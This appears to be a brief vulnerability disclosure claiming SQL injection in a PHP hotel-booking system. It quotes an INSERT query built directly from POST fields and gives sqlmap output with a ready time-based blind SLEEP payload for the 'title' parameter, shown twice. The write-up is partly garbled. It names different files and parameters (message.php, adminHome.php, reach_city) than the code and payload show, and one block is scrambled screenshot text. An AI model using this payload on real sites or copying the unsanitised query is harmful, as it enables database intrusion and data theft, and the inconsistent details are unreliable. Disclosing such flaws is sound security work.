Responsive Hotel Site System Has Sql injection vulnerabilities

Responsive Hotel Site System has message.php fileHas Sql injection vulnerabilities ,The vulnerability is located in the reach_city parameter of the adminHome.php file. The attacker can read and write arbitrarily to the database and obtain sensitive data without logging in the background.

```
HOTEL
                           admin > 💏 me
                           LOO

✓ admin

                           159
  > assets
                           160
  > css
                           161
                                   </div
 💏 db.php
                           162
                           163
                                   V>
 💏 home.php
                           164
                                   <?php
 💏 index.php
                                   if(is
                           165
 💏 logout.php
                           166
 💏 messages.php
                           167
 💏 newsletter.php
 newsletterdel.php
                           169
                           170
 💏 payment.php
                           171
 💏 print.php
                           172
 💏 profit.php
                           173
 💏 reservation.php
                           174
 💏 room.php
                           175
 💏 roombook.php
                           176
                           问题
                                   输出
 💏 roomdel.php
 💏 settings.php
                           PHP Tools e
                           Notice: PHP
 💏 show.php
                           Info: 'dotn
 💏 usersetting.php
if(isset($_POST['log']))
```

```
if(isset($_POST['log']))
{
    $log ="INSERT INTO `newsletterlog`(`title`, `subject`, `news`) VALUES ('$_POST[title]','$_POST[subject]','$_POST[
    if(mysqli_query($con,$log))
    {
        echo '<script>alert("New Room Added") </script>';
    }
}
```

```
POST parameter 'title' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 81 HTTP(s) requests:

Parameter: title (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: title=123' AND (SELECT 7348 FROM (SELECT(SLEEP(5)))hWWG) AND 'nQmc'='nQmc&subject=123&news=123&log=Send
```

SqlMap Attack

```
sqlmap identified the following injection point(s) with a total of 81 HTTP(s) requests:
```

```
Parameter: title (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: title=123' AND (SELECT 7348 FROM
(SELECT(SLEEP(5)))hWWG) AND
'nQmc'='nQmc&subject=123&news=123&log=Send
---
```